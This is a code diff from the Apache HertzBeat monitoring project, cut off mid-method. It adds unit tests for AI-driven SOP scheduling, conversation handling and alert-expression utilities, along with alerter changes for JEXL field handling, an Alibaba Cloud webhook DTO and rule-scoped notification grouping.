+    @Mock
+    private SopEngine sopEngine;
+
+    @Mock
+    private SkillRegistry skillRegistry;
+
+    @Mock
+    private ChatMessageDao chatMessageDao;
+
+    private SopScheduleExecutor executor;
+
+    @BeforeEach
+    void setUp() {
+        executor = new SopScheduleExecutor(scheduleService, sopEngine, skillRegistry, chatMessageDao);
+    }
+
+    @Test
+    void checkShouldContinueAfterOneScheduleFailsToUpdate() {
+        SopSchedule first = schedule(1L, null);
+        SopSchedule second = schedule(2L, null);
+        SopDefinition definition = SopDefinition.builder().name("daily_inspection").build();
+        SopResult result = SopResult.builder()
+                .status("SUCCESS")
+                .content("ok")
+                .build();
+        when(scheduleService.getDueSchedules()).thenReturn(List.of(first, second));
+        when(skillRegistry.getSkill("daily_inspection")).thenReturn(definition);
+        when(sopEngine.executeSync(any(SopDefinition.class), anyMap())).thenReturn(result);
+        doThrow(new IllegalStateException("database unavailable"))
+                .when(scheduleService).updateAfterExecution(1L);
+
+        executor.checkAndExecuteDueSchedules();
+
+        verify(sopEngine, times(2)).executeSync(any(SopDefinition.class), anyMap());
+        verify(scheduleService).updateAfterExecution(2L);
+    }
+
+    @Test
+    void checkShouldRejectInvalidScheduleParameters() {
+        SopSchedule schedule = schedule(1L, "not-json");
+        when(scheduleService.getDueSchedules()).thenReturn(List.of(schedule));
+        when(skillRegistry.getSkill("daily_inspection"))
+                .thenReturn(SopDefinition.builder().name("daily_inspection").build());
+
+        executor.checkAndExecuteDueSchedules();
+
+        verifyNoInteractions(sopEngine);
+        verify(chatMessageDao).save(any(ChatMessage.class));
+        verify(scheduleService).updateAfterExecution(1L);
+    }
+
+    @Test
+    void checkShouldPushErrorWhenScheduledSkillNoLongerExists() {
+        SopSchedule schedule = schedule(1L, null);
+        when(scheduleService.getDueSchedules()).thenReturn(List.of(schedule));
+        when(skillRegistry.getSkill("daily_inspection")).thenReturn(null);
+
+        executor.checkAndExecuteDueSchedules();
+
+        ArgumentCaptor<ChatMessage> messageCaptor = ArgumentCaptor.forClass(ChatMessage.class);
+        verify(chatMessageDao).save(messageCaptor.capture());
+        assertTrue(messageCaptor.getValue().getContent().contains("SOP skill not found: daily_inspection"));
+        verifyNoInteractions(sopEngine);
+        verify(scheduleService).updateAfterExecution(1L);
+    }
+
+    private SopSchedule schedule(Long id, String params) {
+        return SopSchedule.builder()
+                .id(id)
+                .conversationId(10L)
+                .sopName("daily_inspection")
+                .sopParams(params)
+                .build();
+    }
+}

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/service/impl/ConversationServiceImplTest.java

@@ -20,7 +20,9 @@ package org.apache.hertzbeat.ai.service.impl;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.inOrder;
 import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
 import static org.mockito.Mockito.when;
 
 import com.usthe.sureness.subject.SubjectSum;
@@ -30,6 +32,7 @@ import java.util.Optional;
 import java.util.concurrent.atomic.AtomicLong;
 import org.apache.hertzbeat.ai.dao.ChatConversationDao;
 import org.apache.hertzbeat.ai.dao.ChatMessageDao;
+import org.apache.hertzbeat.ai.dao.SopScheduleDao;
 import org.apache.hertzbeat.ai.pojo.dto.ChatRequestContext;
 import org.apache.hertzbeat.ai.pojo.dto.ChatResponseChunk;
 import org.apache.hertzbeat.ai.service.ChatClientProviderService;
@@ -40,6 +43,7 @@ import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.extension.ExtendWith;
 import org.mockito.ArgumentCaptor;
 import org.mockito.InjectMocks;
+import org.mockito.InOrder;
 import org.mockito.Mock;
 import org.mockito.junit.jupiter.MockitoExtension;
 import org.springframework.http.codec.ServerSentEvent;
@@ -59,6 +63,9 @@ class ConversationServiceImplTest {
     @Mock
     private ChatMessageDao messageDao;
 
+    @Mock
+    private SopScheduleDao sopScheduleDao;
+
     @Mock
     private ChatClientProviderService chatClientProviderService;
 
@@ -116,4 +123,67 @@ class ConversationServiceImplTest {
         assertEquals(history, contextCaptor.getValue().getConversationHistory());
         assertEquals(subject, contextCaptor.getValue().getSubject());
     }
+
+    /**
+     * The service should create a conversation and return its ID when the client omits the optional conversation ID.
+     */
+    @Test
+    void streamChatShouldCreateConversationWhenConversationIdIsMissing() {
+        AtomicLong messageId = new AtomicLong(20L);
+        when(chatClientProviderService.isConfigured()).thenReturn(true);
+        when(conversationDao.save(any(ChatConversation.class))).thenAnswer(invocation -> {
+            ChatConversation savedConversation = invocation.getArgument(0);
+            savedConversation.setId(CONVERSATION_ID);
+            return savedConversation;
+        });
+        when(messageDao.findByConversationIdOrderByGmtCreateAsc(CONVERSATION_ID)).thenReturn(List.of());
+        when(messageDao.save(any(ChatMessage.class))).thenAnswer(invocation -> {
+            ChatMessage savedMessage = invocation.getArgument(0);
+            savedMessage.setId(messageId.getAndIncrement());
+            return savedMessage;
+        });
+        when(chatClientProviderService.streamChat(any(ChatRequestContext.class)))
+            .thenReturn(Flux.just("本轮回答"));
+
+        List<ServerSentEvent<ChatResponseChunk>> events = conversationService
+            .streamChat("本轮问题", null)
+            .collectList()
+            .block();
+
+        assertNotNull(events);
+        assertEquals(2, events.size());
+        assertEquals(CONVERSATION_ID, events.get(0).data().getConversationId());
+        assertEquals(CONVERSATION_ID, events.get(1).data().getConversationId());
+
+        ArgumentCaptor<ChatRequestContext> contextCaptor = ArgumentCaptor.forClass(ChatRequestContext.class);
+        verify(chatClientProviderService).streamChat(contextCaptor.capture());
+        assertEquals(CONVERSATION_ID, contextCaptor.getValue().getConversationId());
+        assertEquals(List.of(), contextCaptor.getValue().getConversationHistory());
+        ArgumentCaptor<ChatConversation> conversationCaptor = ArgumentCaptor.forClass(ChatConversation.class);
+        verify(conversationDao).save(conversationCaptor.capture());
+        assertEquals("本轮问题", conversationCaptor.getValue().getTitle());
+        verifyNoMoreInteractions(conversationDao);
+    }
+
+    /**
+     * Deleting a conversation must remove its schedules before they can push more messages.
+     */
+    @Test
+    void deleteConversationShouldRemoveSchedulesMessagesAndConversationInOrder() {
+        ChatMessage message = ChatMessage.builder()
+            .id(11L)
+            .conversationId(CONVERSATION_ID)
+            .role("user")
+            .content("message to delete")
+            .build();
+        when(messageDao.findByConversationIdOrderByGmtCreateAsc(CONVERSATION_ID))
+            .thenReturn(List.of(message));
+
+        conversationService.deleteConversation(CONVERSATION_ID);
+
+        InOrder deletionOrder = inOrder(sopScheduleDao, messageDao, conversationDao);
+        deletionOrder.verify(sopScheduleDao).deleteByConversationId(CONVERSATION_ID);
+        deletionOrder.verify(messageDao).deleteAll(List.of(message));
+        deletionOrder.verify(conversationDao).deleteById(CONVERSATION_ID);
+    }
 }

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/service/impl/SopScheduleServiceImplTest.java

@@ -0,0 +1,58 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.ai.service.impl;
+
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.Mockito.verifyNoInteractions;
+
+import org.apache.hertzbeat.ai.dao.SopScheduleDao;
+import org.apache.hertzbeat.common.entity.ai.SopSchedule;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Verifies that SOP schedules with no future execution time are not persisted.
+ */
+@ExtendWith(MockitoExtension.class)
+class SopScheduleServiceImplTest {
+
+    @Mock
+    private SopScheduleDao sopScheduleDao;
+
+    @InjectMocks
+    private SopScheduleServiceImpl scheduleService;
+
+    @Test
+    void createScheduleShouldRejectCronWithoutFutureExecutionTime() {
+        SopSchedule schedule = SopSchedule.builder()
+                .conversationId(1L)
+                .sopName("daily_inspection")
+                .cronExpression("0 0 0 31 2 *")
+                .build();
+
+        IllegalArgumentException exception = assertThrows(
+                IllegalArgumentException.class, () -> scheduleService.createSchedule(schedule));
+
+        assertTrue(exception.getMessage().contains("no future execution time"));
+        verifyNoInteractions(sopScheduleDao);
+    }
+}

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/sop/registry/SopToolCallbackTest.java

@@ -76,6 +76,23 @@ class SopToolCallbackTest {
         assertThrows(IllegalArgumentException.class, () -> callback.call("not-json"));
     }
 
+    @Test
+    void schemaShouldRejectInvalidBooleanDefault() {
+        SopParameter enabled = SopParameter.builder()
+                .name("enabled")
+                .type("boolean")
+                .defaultValue("yes")
+                .build();
+        SopDefinition definition = SopDefinition.builder()
+                .name("invalid-default")
+                .description("包含非法布尔默认值")
+                .parameters(List.of(enabled))
+                .build();
+
+        assertThrows(IllegalArgumentException.class,
+                () -> new SopToolCallback(definition, new RecordingEngine()));
+    }
+
     private SopDefinition definition() {
         SopParameter monitorId = SopParameter.builder()
                 .name("monitorId")

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/tools/impl/ScheduleToolsImplTest.java

@@ -0,0 +1,129 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.ai.tools.impl;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import java.util.List;
+import org.apache.hertzbeat.ai.service.SopScheduleService;
+import org.apache.hertzbeat.ai.sop.model.SopDefinition;
+import org.apache.hertzbeat.ai.sop.model.SopParameter;
+import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
+import org.apache.hertzbeat.common.entity.ai.SopSchedule;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Verifies that AI-created SOP schedules validate and persist skill parameters.
+ */
+@ExtendWith(MockitoExtension.class)
+class ScheduleToolsImplTest {
+
+    private static final String CRON = "0 0 9 * * ?";
+
+    @Mock
+    private SopScheduleService scheduleService;
+
+    @Mock
+    private SkillRegistry skillRegistry;
+
+    private ScheduleToolsImpl scheduleTools;
+
+    @BeforeEach
+    void setUp() {
+        scheduleTools = new ScheduleToolsImpl(scheduleService, skillRegistry);
+    }
+
+    @Test
+    void createScheduleShouldPersistSkillParameters() {
+        when(skillRegistry.getSkill("diagnosis")).thenReturn(parameterizedSkill());
+        when(scheduleService.getSchedulesByConversation(7L)).thenReturn(List.of());
+        when(scheduleService.createSchedule(any())).thenAnswer(invocation -> {
+            SopSchedule schedule = invocation.getArgument(0);
+            schedule.setId(9L);
+            return schedule;
+        });
+
+        String result = scheduleTools.createScheduleWithConversation(
+                7L, "diagnosis", CRON, "daily diagnosis", "{\"monitorId\":42}");
+
+        ArgumentCaptor<SopSchedule> captor = ArgumentCaptor.forClass(SopSchedule.class);
+        verify(scheduleService).createSchedule(captor.capture());
+        assertEquals("{\"monitorId\":42}", captor.getValue().getSopParams());
+        assertTrue(result.contains("9"));
+    }
+
+    @Test
+    void createScheduleShouldAllowDifferentParametersAtTheSameTime() {
+        SopSchedule existing = SopSchedule.builder()
+                .sopName("diagnosis")
+                .cronExpression(CRON)
+                .sopParams("{\"monitorId\":41}")
+                .build();
+        when(skillRegistry.getSkill("diagnosis")).thenReturn(parameterizedSkill());
+        when(scheduleService.getSchedulesByConversation(7L)).thenReturn(List.of(existing));
+        when(scheduleService.createSchedule(any())).thenAnswer(invocation -> invocation.getArgument(0));
+
+        scheduleTools.createScheduleWithConversation(
+                7L, "diagnosis", CRON, null, "{\"monitorId\":42}");
+
+        verify(scheduleService).createSchedule(any());
+    }
+
+    @Test
+    void createScheduleShouldRejectMissingRequiredParameter() {
+        when(skillRegistry.getSkill("diagnosis")).thenReturn(parameterizedSkill());
+
+        String result = scheduleTools.createScheduleWithConversation(
+                7L, "diagnosis", CRON, null, "{}");
+
+        assertTrue(result.contains("monitorId"));
+        verify(scheduleService, never()).createSchedule(any());
+    }
+
+    @Test
+    void createScheduleShouldRejectInvalidParameterJson() {
+        when(skillRegistry.getSkill("diagnosis")).thenReturn(parameterizedSkill());
+
+        String result = scheduleTools.createScheduleWithConversation(
+                7L, "diagnosis", CRON, null, "not-json");
+
+        assertTrue(result.contains("valid JSON object"));
+        verify(scheduleService, never()).createSchedule(any());
+    }
+
+    private SopDefinition parameterizedSkill() {
+        SopParameter monitorId = SopParameter.builder()
+                .name("monitorId")
+                .required(true)
+                .build();
+        return SopDefinition.builder()
+                .name("diagnosis")
+                .parameters(List.of(monitorId))
+                .build();
+    }
+}

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/tools/impl/SkillToolsImplTest.java

@@ -0,0 +1,124 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.ai.tools.impl;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.Mockito.verifyNoInteractions;
+import static org.mockito.Mockito.when;
+
+import java.util.List;
+import org.apache.hertzbeat.ai.sop.engine.SopEngine;
+import org.apache.hertzbeat.ai.sop.model.OutputType;
+import org.apache.hertzbeat.ai.sop.model.SopDefinition;
+import org.apache.hertzbeat.ai.sop.model.SopParameter;
+import org.apache.hertzbeat.ai.sop.model.SopResult;
+import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Verifies that skill parameter errors and report execution failures return accurate, identifiable results.
+ */
+@ExtendWith(MockitoExtension.class)
+class SkillToolsImplTest {
+
+    private static final String SKILL_NAME = "diagnose";
+
+    @Mock
+    private SkillRegistry skillRegistry;
+
+    @Mock
+    private SopEngine sopEngine;
+
+    private SkillToolsImpl skillTools;
+
+    @BeforeEach
+    void setUp() {
+        skillTools = new SkillToolsImpl(skillRegistry, sopEngine);
+    }
+
+    @Test
+    void executeSkillShouldRejectInvalidJsonObject() {
+        when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill());
+
+        String response = skillTools.executeSkill(SKILL_NAME, "not-json");
+
+        assertEquals("Error: Skill parameters must be a valid JSON object.", response);
+        verifyNoInteractions(sopEngine);
+    }
+
+    @Test
+    void executeSkillShouldRejectBlankRequiredParameter() {
+        when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill());
+
+        String response = skillTools.executeSkill(SKILL_NAME, "{\"monitorId\":\"  \"}");
+
+        assertTrue(response.contains("Required parameter 'monitorId' is missing"));
+        verifyNoInteractions(sopEngine);
+    }
+
+    @Test
+    void executeSkillShouldNotMarkFailedReportForDirectDisplay() {
+        SopDefinition skill = skill();
+        SopResult failedResult = SopResult.builder()
+                .sopName(SKILL_NAME)
+                .status("FAILED")
+                .outputType(OutputType.REPORT)
+                .error("database unavailable")
+                .build();
+        when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill);
+        when(sopEngine.executeSync(skill, java.util.Map.of("monitorId", 1))).thenReturn(failedResult);
+
+        String response = skillTools.executeSkill(SKILL_NAME, "{\"monitorId\":1}");
+
+        assertFalse(response.startsWith(SkillToolsImpl.SKILL_REPORT_MARKER));
+        assertTrue(response.contains("database unavailable"));
+    }
+
+    @Test
+    void executeSkillShouldMarkSuccessfulReportForDirectDisplay() {
+        SopDefinition skill = skill();
+        SopResult successResult = SopResult.builder()
+                .status("SUCCESS")
+                .outputType(OutputType.REPORT)
+                .content("diagnostic report")
+                .build();
+        when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill);
+        when(sopEngine.executeSync(skill, java.util.Map.of("monitorId", 1))).thenReturn(successResult);
+
+        String response = skillTools.executeSkill(SKILL_NAME, "{\"monitorId\":1}");
+
+        assertEquals(SkillToolsImpl.SKILL_REPORT_MARKER + "\ndiagnostic report", response);
+    }
+
+    private SopDefinition skill() {
+        return SopDefinition.builder()
+                .name(SKILL_NAME)
+                .parameters(List.of(SopParameter.builder()
+                        .name("monitorId")
+                        .required(true)
+                        .description("Monitor ID")
+                        .build()))
+                .build();
+    }
+}

hertzbeat-ai/src/test/java/org/apache/hertzbeat/ai/utils/UtilityClassTest.java

@@ -0,0 +1,99 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.ai.utils;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import java.util.List;
+import java.util.Map;
+import org.apache.hertzbeat.manager.pojo.dto.Hierarchy;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+import tools.jackson.databind.ObjectMapper;
+import tools.jackson.databind.node.ObjectNode;
+
+/**
+ * Verifies input parsing and hierarchy-data tolerance in the AI alert rule utilities.
+ */
+class UtilityClassTest {
+
+    @ParameterizedTest
+    @ValueSource(strings = {
+        "cpu_usage >= 80",
+        "cpu_usage <= 80",
+        "cpu_usage == 80",
+        "cpu_usage != 80"
+    })
+    void validateExpressionSyntaxShouldAcceptSupportedComparisonOperators(String expression) {
+        assertEquals("VALID", UtilityClass.validateExpressionSyntax(expression));
+    }
+
+    @Test
+    void validateExpressionSyntaxShouldNotTreatLogicalTextInsideFieldNameAsOperator() {
+        assertEquals("VALID", UtilityClass.validateExpressionSyntax("processor_count > 1"));
+    }
+
+    @Test
+    void validateExpressionSyntaxShouldStillRejectSingleEquals() {
+        assertEquals("Error: Use '==' for equality comparison, not '='",
+                UtilityClass.validateExpressionSyntax("cpu_usage = 80"));
+    }
+
+    @Test
+    void parseKeyValuePairsShouldPreserveColonsInValue() {
+        Map<String, String> result = UtilityClass.parseKeyValuePairs(
+                "runbook:https://example.org:8443/alerts, severity:critical");
+
+        assertEquals("https://example.org:8443/alerts", result.get("runbook"));
+        assertEquals("critical", result.get("severity"));
+    }
+
+    @Test
+    void extractFieldNamesShouldHandleFunctionsAndComparisons() {
+        List<String> fields = UtilityClass.extractFieldNamesFromConditions(
+                "equals(VmName, \"prod\") and contains(host, \"db\") "
+                        + "and (cpu_usage >= 80 or cpu_usage <= 20)");
+
+        assertEquals(List.of("VmName", "host", "cpu_usage"), fields);
+    }
+
+    @Test
+    void extractFieldNamesShouldIgnoreComparisonTextInsideQuotedValue() {
+        List<String> fields = UtilityClass.extractFieldNamesFromConditions(
+                "equals(message, \"fake_field > 1\")");
+
+        assertEquals(List.of("message"), fields);
+    }
+
+    @Test
+    void formatHierarchyAsJsonShouldAcceptNonLeafWithoutChildren() {
+        Hierarchy hierarchy = new Hierarchy();
+        hierarchy.setValue("linux");
+        hierarchy.setLabel("Linux");
+        hierarchy.setIsLeaf(false);
+
+        ObjectNode result = UtilityClass.formatHierarchyAsJson(new ObjectMapper(), hierarchy);
+
+        assertEquals("app", result.get("type").asText());
+        assertFalse(result.has("children"));
+        assertTrue(result.has("value"));
+    }
+}

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/calculate/realtime/MetricsRealTimeAlertCalculator.java

@@ -251,20 +251,14 @@ public class MetricsRealTimeAlertCalculator {
                     }
                     final int fieldType = field.getType();
 
+                    // strict jexl aborts the whole rule on undefined variables,
+                    // so define every field even when its value is empty or unparseable
                     if (fieldType == CommonConstants.TYPE_NUMBER) {
-                        final Double doubleValue;
-                        if ((doubleValue = CommonUtil.parseStrDouble(valueStr)) != null) {
-                            fieldValueMap.put(field.getName(), doubleValue);
-                        }
+                        fieldValueMap.put(field.getName(), CommonUtil.parseStrDouble(valueStr));
                     } else if (fieldType == CommonConstants.TYPE_TIME) {
-                        final Integer integerValue;
-                        if ((integerValue = CommonUtil.parseStrInteger(valueStr)) != null) {
-                            fieldValueMap.put(field.getName(), integerValue);
-                        }
+                        fieldValueMap.put(field.getName(), CommonUtil.parseStrInteger(valueStr));
                     } else {
-                        if (StringUtils.isNotEmpty(valueStr)) {
-                            fieldValueMap.put(field.getName(), valueStr);
-                        }
+                        fieldValueMap.put(field.getName(), valueStr);
                     }
 
                     if (field.getLabel()) {

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/dto/AlertDefineDTO.java

@@ -51,4 +51,6 @@ public class AlertDefineDTO {
     private String template;
     @Excel(name = "Enable")
     private Boolean enable;
+    @Excel(name = "Datasource")
+    private String datasource;
 }

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/dto/AlibabaCloudCmsExternAlert.java

@@ -0,0 +1,142 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.dto;
+
+import com.fasterxml.jackson.annotation.JsonAlias;
+import java.util.Map;
+import lombok.AllArgsConstructor;
+import lombok.Builder;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+/**
+ * Alibaba Cloud Monitor 2.0 webhook alert entity.
+ *
+ * @see <a href="https://help.aliyun.com/zh/cms/cloudmonitor-2-0/notification-object">
+ *     Alibaba Cloud Monitor webhook payload fields</a>
+ */
+@Data
+@Builder
+@AllArgsConstructor
+@NoArgsConstructor
+public class AlibabaCloudCmsExternAlert {
+
+    private String specversion;
+
+    private String id;
+
+    private String type;
+
+    private String subtype;
+
+    private String source;
+
+    private String sourcetype;
+
+    private String time;
+
+    private Long timestamp;
+
+    private String subject;
+
+    private String datacontenttype;
+
+    private String severity;
+
+    private String status;
+
+    private String userId;
+
+    private String ruleId;
+
+    private String workspace;
+
+    private String traceId;
+
+    private String alertMessage;
+
+    private String alertEntityId;
+
+    private Resource resource;
+
+    private Map<String, Object> labels;
+
+    private Map<String, Object> annotations;
+
+    private AlertData data;
+
+    private Map<String, Object> alertEntityFields;
+
+    private String ruleUrl;
+
+    private String entityUrl;
+
+    private String alertRuleUrl;
+
+    private String alertHistoryUrl;
+
+    /**
+     * Alert resource.
+     */
+    @Data
+    @Builder
+    @AllArgsConstructor
+    @NoArgsConstructor
+    public static class Resource {
+
+        private Entity entity;
+
+        private Map<String, Object> tags;
+    }
+
+    /**
+     * Alert resource entity.
+     */
+    @Data
+    @Builder
+    @AllArgsConstructor
+    @NoArgsConstructor
+    public static class Entity {
+
+        private String domain;
+
+        @JsonAlias("entity_type")
+        private String entityType;
+
+        @JsonAlias("entity_id")
+        private String entityId;
+
+        private Map<String, Object> prop;
+    }
+
+    /**
+     * Threshold alert data.
+     */
+    @Data
+    @Builder
+    @AllArgsConstructor
+    @NoArgsConstructor
+    public static class AlertData {
+
+        private Object value;
+
+        private Object threshold;
+
+        private String comparisonOperator;
+    }
+}

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/notice/AlertNoticeDispatch.java

@@ -18,10 +18,16 @@
 package org.apache.hertzbeat.alert.notice;
 
 import com.google.common.collect.Maps;
+import java.time.LocalDateTime;
+import java.util.Collection;
+import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 import java.util.Optional;
 import java.util.concurrent.RejectedExecutionException;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.hertzbeat.alert.AlerterWorkerPool;
 import org.apache.hertzbeat.alert.config.AlertSseManager;
@@ -29,7 +35,9 @@ import org.apache.hertzbeat.common.entity.alerter.GroupAlert;
 import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
 import org.apache.hertzbeat.common.entity.alerter.NoticeRule;
 import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
+import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
 import org.apache.hertzbeat.alert.service.NoticeConfigService;
+import org.apache.hertzbeat.common.constants.CommonConstants;
 import org.apache.hertzbeat.common.util.JsonUtil;
 import org.apache.hertzbeat.plugin.PostAlertPlugin;
 import org.apache.hertzbeat.plugin.Plugin;
@@ -124,6 +132,7 @@ public class AlertNoticeDispatch {
     private void sendNotify(GroupAlert alert) {
         matchNoticeRulesByAlert(alert).ifPresent(noticeRules -> noticeRules.forEach(rule -> {
             NoticeTemplate noticeTemplate = getOneTemplateById(rule.getTemplateId());
+            GroupAlert noticeAlert = scopeAlertToRule(alert, rule);
             rule.getReceiverId().forEach(receiverId -> {
                 NoticeReceiver receiver = getOneReceiverById(receiverId);
                 if (receiver == null || receiver.getType() == null) {
@@ -133,7 +142,7 @@ public class AlertNoticeDispatch {
                 try {
                     workerPool.executeNotify(receiver.getType(), () -> {
                         try {
-                            sendNoticeMsg(receiver, noticeTemplate, alert);
+                            sendNoticeMsg(receiver, noticeTemplate, noticeAlert);
                         } catch (AlertNoticeException e) {
                             log.warn("DispatchTask sendNoticeMsg error, message: {}", e.getMessage());
                         }
@@ -145,4 +154,100 @@ public class AlertNoticeDispatch {
             });
         }));
     }
+
+    private GroupAlert scopeAlertToRule(GroupAlert alert, NoticeRule rule) {
+        if (rule.isFilterAll() || rule.getLabels() == null || rule.getLabels().isEmpty()
+                || alert.getAlerts() == null) {
+            return alert;
+        }
+        List<SingleAlert> matchingAlerts = alert.getAlerts().stream()
+                .filter(singleAlert -> singleAlert.getLabels() != null
+                        && rule.getLabels().entrySet().stream().allMatch(label ->
+                                Objects.equals(label.getValue(), singleAlert.getLabels().get(label.getKey()))))
+                .toList();
+        Map<String, String> commonLabels = extractCommonAttributes(matchingAlerts, SingleAlert::getLabels);
+        Map<String, String> commonAnnotations =
+                extractCommonAttributes(matchingAlerts, SingleAlert::getAnnotations);
+        Map<String, String> groupLabels = extractGroupLabels(alert.getGroupLabels(), commonLabels);
+        String groupKey = Objects.equals(groupLabels, alert.getGroupLabels())
+                ? alert.getGroupKey() : generateGroupKey(groupLabels);
+        return GroupAlert.builder()
+                .id(alert.getId())
+                .groupKey(groupKey)
+                .status(determineGroupStatus(matchingAlerts))
+                .groupLabels(groupLabels)
+                .commonLabels(commonLabels)
+                .commonAnnotations(commonAnnotations)
+                .alertFingerprints(matchingAlerts.stream()
+                        .map(SingleAlert::getFingerprint)
+                        .filter(Objects::nonNull)
+                        .toList())
+                .creator(alert.getCreator())
+                .modifier(alert.getModifier())
+                .gmtCreate(firstTime(matchingAlerts, SingleAlert::getGmtCreate, alert.getGmtCreate()))
+                .gmtUpdate(lastTime(matchingAlerts, SingleAlert::getGmtUpdate, alert.getGmtUpdate()))
+                .alerts(matchingAlerts)
+                .build();
+    }
+
+    private Map<String, String> extractCommonAttributes(
+            Collection<SingleAlert> alerts,
+            Function<SingleAlert, Map<String, String>> attributes) {
+        if (alerts.isEmpty()) {
+            return new HashMap<>(0);
+        }
+        Map<String, String> firstAttributes = attributes.apply(alerts.iterator().next());
